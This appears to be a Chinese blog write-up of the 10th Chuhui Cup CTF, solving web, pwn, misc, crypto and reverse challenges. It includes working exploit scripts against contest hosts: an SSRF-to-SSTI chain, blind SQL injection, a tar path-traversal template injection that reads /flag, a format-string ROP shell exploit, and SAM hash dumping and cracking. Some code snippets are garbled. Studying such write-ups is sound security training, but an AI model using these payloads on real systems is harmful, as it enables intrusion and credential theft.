第十届“楚慧杯”网络安全竞赛 WP 解析 | 极客日志

PythonAI算法

第十届“楚慧杯”网络安全竞赛 WP 解析

综述由AI生成第十届“楚慧杯”网络安全竞赛解题报告，涵盖签到题、Web、Pwn、Misc、Crypto、Reverse 六大板块。Web 部分涉及路径穿越、SSTI 注入及 SSRF 利用；Pwn 基于格式化字符串漏洞进行栈溢出攻击；Misc 包含隐写、零宽字符编码及压缩包处理；Crypto 挑战涉及 DSA 变种格攻击与 GCD 问题；Reverse 分析 TEA 加密及混淆脚本还原。整体展示了多种安全攻防技术与工具链的应用。

灭霸发布于 2026/3/16更新于 2026/6/132 浏览

签到题

题目名称：【填空题 1】

题目内容：如果在正常样本中人为故意地掺入噪声干扰以误导智能算法，使智能算法产生错误结果，那么这种噪声干扰的样本被称为______。

题目分值：20.0

题目难度：非常容易

flag: 对抗样本

题目名称：【填空题 2】

题目内容：面向整车全生命周期网络安全工程的国际标准（ISO/SAE ______(填标准编号) Road vehicles — Cybersecurity engineering），已成为车联网威胁建模与安全需求分解的主线标准。

题目分值：20.0

题目难度：非常容易

flag: 21434

题目名称：【填空题 3】

题目内容：物联网设备的________管理是安全防护的关键环节，若设备私钥存储在可读写的公共存储区域，攻击者即可通过物理手段提取私钥，进而仿冒合法设备接入网络。

题目分值：20.0

题目难度：非常容易

flag: 密钥

WEB

拯救芙莉莲

提示存在宝箱。

目录扫描存在 robots.txt。

访问发现 Notice 报错，尝试路径穿越。

存在 WAF 过滤了常见绕过内容。

php://filter 用于读取源码。 php://input 用于执行 php 代码。

使用 php://filter 读取源代码并进行 base64 编码输出。输入：php://filter/convert.base64-encode/resource=文件路径

拿到 base64 加密后的源码，发现存在危险后门利用 spell。

$blacklist = array(
    'flag',
    'php://input',
    'data://',
    'expect://',
    'file://',
    'glob://',
    'phar://',
    '/etc/passwd',
    '/etc/shadow',
    'win.ini',
    '../',
    '..\\',
);

foreach ($blacklist as $bad) {
    if (stripos($file, $bad) !== false) {
        die('❌ 魔法屏障阻止了你的尝试');
    }
}
include($file);

天哪，芙芙被宝箱怪困住了，你能施法帮她脱离困境吗？

if (isset($_GET['spell'])) {
    echo '🔓 解开宝箱怪的封印';
    // ... 逻辑省略 ...
    $forbidden = (, , , , , );
     (  ) {
         ((, ) !== ) {
            ();
        }
    }
    
}

相关免费在线工具

加密/解密文本
使用加密算法（如AES、TripleDES、Rabbit或RC4）加密和解密文本明文。在线工具，加密/解密文本在线工具，online
RSA密钥对生成器
生成新的随机RSA私钥和公钥pem证书。在线工具，RSA密钥对生成器在线工具，online
Mermaid 预览与可视化编辑
基于 Mermaid.js 实时预览流程图、时序图等图表，支持源码编辑与即时渲染。在线工具，Mermaid 预览与可视化编辑在线工具，online
随机西班牙地址生成器
随机生成西班牙地址（支持马德里、加泰罗尼亚、安达卢西亚、瓦伦西亚筛选），支持数量快捷选择、显示全部与下载。在线工具，随机西班牙地址生成器在线工具，online
Gemini 图片去水印
基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印，支持批量处理与下载。在线工具，Gemini 图片去水印在线工具，online
curl 转代码
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。在线工具，curl 转代码在线工具，online

@app.route('/relay', methods=["POST"])
def relay():
    target_port = int(request.form['port'])
    payload = request.form['data']
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('127.0.0.1', target_port))
    sock.send(payload.encode())

import requests
import re
import urllib.parse

TARGET = "http://45.40.247.139:21112"

def relay(payload):
    r = requests.post(TARGET + "/relay", data={"port": "5000", "data": payload})
    return r.text

def get_cookie(resp):
    m = re.search(r"session=([^;]+)", resp)
    if not m:
        raise Exception("Session cookie not found")
    return m.group(1)

print("[*] Step1 初始化 backend session")
req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
resp = relay(req)
cookie = get_cookie(resp)

print("[*] Step2 触发 numpy int64 溢出")
req = f"""GET /hack?amount=-9223372036854775808 HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
"""
resp = relay(req)
cookie = get_cookie(resp)

print("[*] Step3 构造 SSTI payload")
payload = r"""{%set u=lipsum|string|batch(19)|first|last%}{%set uu=u~u%}..."""
form = f"fragment={urllib.parse.quote(payload)}"
http_req = f"""POST /market HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(form)}
{form}
"""
print("[*] Step4 发送最终 exploit")
resp = requests.post(TARGET + "/relay", data={"port": "5000", "data": http_req})
print(resp.text)

import requests
import binascii
import time

url = "http://45.40.247.139:30675/login"

def to_hex(s):
    return ''.join(hex(ord(c))[2:] for c in s)

def blind_inject(condition):
    payload = f"admin' AND ({condition}) – "
    hex_payload = to_hex(payload)
    data = {"username": hex_payload, "password": to_hex("a")}
    try:
        response = requests.post(url, data=data, allow_redirects=False)
        if response.status_code == 400:
            return True
        elif response.status_code == 500:
            return False
    except:
        pass
    return None

def length_extension(known_hash_hex, ml, ext):
    # ... MD5 primitives ...
    new_hash = _md5_from_state(state, ext + _pad(tl))
    return new_hash, glue + ext

echo -n '{{ lipsum.globals["os"].popen("cat /flag").read() }}' > payload.txt && tar -cf - cfloit.tar --transform='s/payload.txt/../../../templates/info.html/' payload.txt

from pwn import *
import os

context(os='linux', arch='amd64', log_level='info')
libdir = '/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'
ld = libdir + '/ld-2.31.so'
path = './pwn'
p = remote('45.40.247.139', 18607)
elf = ELF(path)
libc = ELF('./libc.so.6')

def sla(a, b): p.sendlineafter(a, b)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)

sla(b">> ", b"2")
sla(b"Please write your name:", b"%8$p")
ru(b"the name is:\n")
pie_leak = int(p.recvline().strip(), 16)
log.info('pie_leak:' + hex(pie_leak))
pie = pie_leak - 0x14a0

sla(b">> ", b"2")
sla(b"Please write your name:", b"%13$p")
ru(b"the name is:\n")
leak = int(p.recvline().strip(), 16)

sla(b">> ", b"2")
sla(b"Please write your name:", fmtstr_payload(6, {pie + 0x4010: 0x100}))

sla(b">> ", b"3")
rdi = pie + 0x1503
pay = b"a" * 0x48 + p64(leak) + p64(0) + p64(rdi) + p64(pie + elf.got["puts"]) + p64(pie + elf.plt["puts"]) + p64(pie + 0x13cf)
sla(b"Please write your content", pay)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

sla(b">> ", b"3")
rdi = pie + 0x1503
pay = b"a" * 0x48 + p64(leak) + p64(0) + p64(rdi) + p64(binsh) + p64(pie + 0x101a) + p64(system)
sla(b"Please write your content", pay)

p.interactive()

strings -a Weapons.rvdata2 | grep -E "DASCTF|flag|[0-9a-f-]{8,}"

impacket-secretsdump -sam sam -system system LOCAL
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd
gunzip -c aes.dec > output.tar

from PIL import Image, ImageOps
import numpy as np

imgs = []
for i in range(1, 9):
    img = Image.open(f"{i}.png").convert("RGB")
    imgs.append(np.array(img, dtype=np.uint8))
mean_img = np.mean(np.stack(imgs, axis=0), axis=0).astype(np.uint8)
Image.fromarray(mean_img).save("mean.png")
inv = ImageOps.invert(Image.fromarray(mean_img))
inv.save("mean_inv.png")

s = open("flag.txt", "r", encoding="utf-8").read()
zw = "".join(ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF))
mapping = {0x200C: "00", 0x200D: "01", 0x202C: "10", 0xFEFF: "11"}
bits = "".join(mapping[ord(ch)] for ch in zw)
data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
text = data.decode("utf-16-be")

from sage.all import *
import string

p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [(...), (...), (...), (...), (...)]
K0 = Integer(int.from_bytes(bytes([0xA8])*32,"big"))

def build_pair_equation(a, b):
    r_a, s_a = map(Integer, sigs[a])
    r_b, s_b = map(Integer, sigs[b])
    coeffs = []
    for j in range(32):
        coeffs.append((r_b * s_a * (Integer(1)<<(8* j)))% p)
    for j in range(32):
        coeffs.append((-r_a * s_b * (Integer(1)<<(8* j)))% p)
    rhs = (r_b * a - r_a * b - (r_b * s_a - r_a * s_b)* K0)% p
    return coeffs, rhs

def try_recover_from_pair(a, b, X=20, block_size=30):
    coeffs, rhs = build_pair_equation(a, b)
    n = len(coeffs)
    target = (rhs - 3*sum(coeffs))% p
    B = Matrix(ZZ, n + 2, n + 2)
    B[0,0]= p
    for i in range(n):
        B[i + 1,0]= coeffs[i]
        B[i + 1, i + 1]=1
    B[n + 1,0]= target
    B[n + 1, n + 1]= X
    B = B.LLL()
    try: B = B.BKZ(block_size=block_size)
    except Exception: pass
    # ... scan reduced basis ...
    return uniq

# Main logic
pairs = [(0,1),(0,2),(0,3),(0,4),(1,2),(1,3),(1,4)]
X_list = [8,12,16,20,24,32]
found = False
for pair in pairs:
    a, b = pair
    for X in X_list:
        try:
            cands = try_recover_from_pair(a, b, X=X, block_size=30)
        except Exception as e:
            continue
        for xs in cands:
            res = check_candidate(pair, xs)
            if res is None: continue
            body = res["prefix"].decode(errors="ignore")
            print("flag =","DASCTF{"+ body +"}")
            found = True
            break
        if found: break
    if found: break

from hashlib import sha256
from sage.all import *
rho = 256
eta = 768
xs = [...]

def recover_candidates(xs):
    x0 = xs[0]
    B = Matrix(ZZ,[[2^(rho+1), xs[1], xs[2], xs[3]],
                   [0,-x0,0,0],[0,0,-x0,0],[0,0,0,-x0]])
    L = B.LLL()
    cands = []
    for row in L.rows():
        row = [ZZ(v) for v in row]
        if row[0]==0: continue
        if abs(row[0])%(2^(rho+1))!=0: continue
        q0 = abs(row[0])//(2^(rho+1))
        if q0 <= 0: continue
        # ... verify and recover p ...
        return uniq

cands = recover_candidates(xs)
for i,(p, qs, es) in enumerate(cands):
    print(f"flag = {flag_of_p(p)}")

import struct

target = bytes.fromhex("3356e8016f84e4a343738e265ef0fda11575882008a4a6a5157588235df0faf04171de7509a1f9e8")
k1 = 0x27A0FC5C
k2 = 0x7A84A720
key = struct.pack("<II", k1, k2)
flag = bytes([target[i] ^ ((key[i % 8] + 0x1B) & 0xFF) for i in range(40)])
print(flag.decode())

import re
with open("eazy_code", "r", encoding="utf-8", errors="ignore") as f:
    raw = f.read()
    m = re.search(r'${@*}\s*=\s*"(.*)"\s*|\s*.${-``}', raw, re.S)
    payload = m.group(1)
    mp = {'${\]}': '0', '${!;*}': '1', '${*@ }': '2', '${=`'}': '3', '${ \]}': '4', '${!}': '5', '${#.}': '6', '${(}': '7', '${)``}': '8', '${```*%}': '9', '{%}': '[char]'}
    for k in sorted(mp, key=len, reverse=True):
        payload = payload.replace(k, mp[k])
    nums = re.findall(r'[char](\[0-9\]+)', payload)
    decoded = ''.join(chr(int(x)) for x in nums)
    with open("stage2.txt", "w", encoding="utf-8") as f:
        f.write(decoded)

class chiper():
    def __init__(self):
        self.d = 0x87654321
        k0 = 0x67452301
        k1 = 0xefcdab89
        k2 = 0x98badcfe
        k3 = 0x10325476
        self.k = [k0, k1, k2, k3]

from ctypes import c_uint32
import struct

def MX(z, y, total, key, p, e):
    temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
    temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
    return c_uint32(temp1 ^ temp2)

def decrypt(v, key, delta):
    n = len(v)
    rounds = 6 + 52 // n
    total = c_uint32((rounds * delta) & 0xffffffff)
    v = [c_uint32(x).value for x in v]
    while rounds > 0:
        e = c_uint32((total.value >> 2) & 3)
        z = c_uint32(v[n - 2])
        y = c_uint32(v[0])
        v[n - 1] = c_uint32(v[n - 1] - MX(z, y, total, key, n - 1, e).value).value
        for p in range(n - 2, -1, -1):
            z = c_uint32(v[p - 1] if p > 0 else v[n - 1])
            y = c_uint32(v[p + 1])
            v[p] = c_uint32(v[p] - MX(z, y, total, key, p, e).value).value
        total.value = c_uint32(total.value - delta).value
        rounds -= 1
    return v

key = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
ans = [1374278842, 2136006540, 4191056815, 3248881376]
plain = decrypt(ans, key, 0x87654321)
flag_inner = struct.pack('<4I', *plain).decode()
print(flag_inner)

第十届“楚慧杯”网络安全竞赛 WP 解析

签到题

题目名称：【填空题 1】

题目名称：【填空题 2】

题目名称：【填空题 3】

WEB

拯救芙莉莲

更多推荐文章

相关免费在线工具

cybers

Fisafopil

PWN

题目名称：house_1

MISC

题目名称：game_go_1

SAM_and_Steg

题目名称：Time_and_chaos_1

CRYPTO

题目名称：Flip

题目名称：GCD，杠上了

RE

眼见为虚_1

eazy_code-new

更多推荐文章

相关免费在线工具

第十届“楚慧杯”网络安全竞赛 WP 解析

签到题

题目名称：【填空题 1】

题目名称：【填空题 2】

题目名称：【填空题 3】

WEB

拯救芙莉莲

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具

cybers

Fisafopil

PWN

题目名称：house_1

MISC

题目名称：game_go_1

SAM_and_Steg

题目名称：Time_and_chaos_1

CRYPTO

题目名称：Flip

题目名称：GCD，杠上了

RE

眼见为虚_1

eazy_code-new

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具